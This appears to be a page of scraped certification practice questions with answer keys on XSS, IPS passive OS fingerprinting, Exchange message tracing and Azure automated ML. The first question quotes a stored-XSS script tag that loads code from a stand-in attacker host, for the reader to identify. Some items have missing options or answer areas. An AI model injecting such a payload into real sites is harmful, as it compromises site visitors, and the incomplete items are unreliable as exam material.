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NEW QUESTION: 1
A security engineer is analyzing the following line of JavaScript code that was found in a comment field on a web forum, which was recently involved in a security breach:
<script
src=http://gotcha.com/hackme.js
></script>
Given the line of code above, which of the following BEST represents the attack performed during the breach?
A. CSRF
B. XSS
C. DDoS
D. Dos
Answer: B
NEW QUESTION: 2
What is the status of OS Identification?
A. It is enabled for passive OS fingerprinting for all networks.
B. It is configured to enable OS mapping and ARR only for the 10.0.0.0/24 network.
C. It is only enabled to identify "Cisco IOS" OS using statically mapped OS fingerprinting
D. OS mapping information will not be used for Risk Rating calculations.
Answer: A
Explanation:
Understanding Passive OS Fingerprinting Passive OS fingerprinting lets the sensor determine the OS that hosts are running. The sensor analyzes network traffic between hosts and stores the OS of these hosts with their IP addresses. The sensor inspects TCP SYN and SYNACK packets exchanged on the network to determine the OS type. The sensor then uses the OS of the target host OS to determine the relevance of the attack to the victim by computing the attack relevance rating component of the risk rating. Based on the relevance of the attack, the sensor may alter the risk rating of the alert for the attack and/or the sensor may filter the alert for the attack. You can then use the risk rating to reduce the number of false positive alerts (a benefit in IDS mode) or definitively drop suspicious packets (a benefit in IPS mode). Passive OS fingerprinting also enhances the alert output by reporting the victim OS, the source of the OS identification, and the relevance to the victim OS in the alert. Passive OS fingerprinting consists of three components:
Passive OS learning Passive OS learning occurs as the sensor observes traffic on the network.
Based on the characteristics of TCP SYN and SYNACK packets, the sensor makes a determination of the OS running on the host of the source IP address. User-configurable OS identification You can configure OS host mappings, which take precedence over learned OS mappings. Computation of attack relevance rating and risk rating
NEW QUESTION: 3
Answer:
Explanation:
Explanation
As we want to trace the emails originated from [email protected] we must specify him as the sender.
We also know that email messages from this user has not been received for the last 7 days. We should therefore change the start date and put it back 7 days.
References:
https://support.office.com/en-au/article/Troubleshoot-email-delivery-using-the-Exchange-Online-message-trace-
NEW QUESTION: 4
You have a dataset that includes home sales data for a city. The dataset includes the following columns.
Each row in the dataset corresponds to an individual home sales transaction.
You need to use automated machine learning to generate the best model for predicting the sales price based on the features of the house.
Which values should you use? To answer, select the appropriate options in the answer area.
NOTE: Each correct selection is worth one point.
Answer:
Explanation:
Explanation:
Box 1: Regression
Regression is a supervised machine learning technique used to predict numeric values.
Box 2: Price
Reference:
https://docs.microsoft.com/en-us/learn/modules/create-regression-model-azure-machine-learning-designer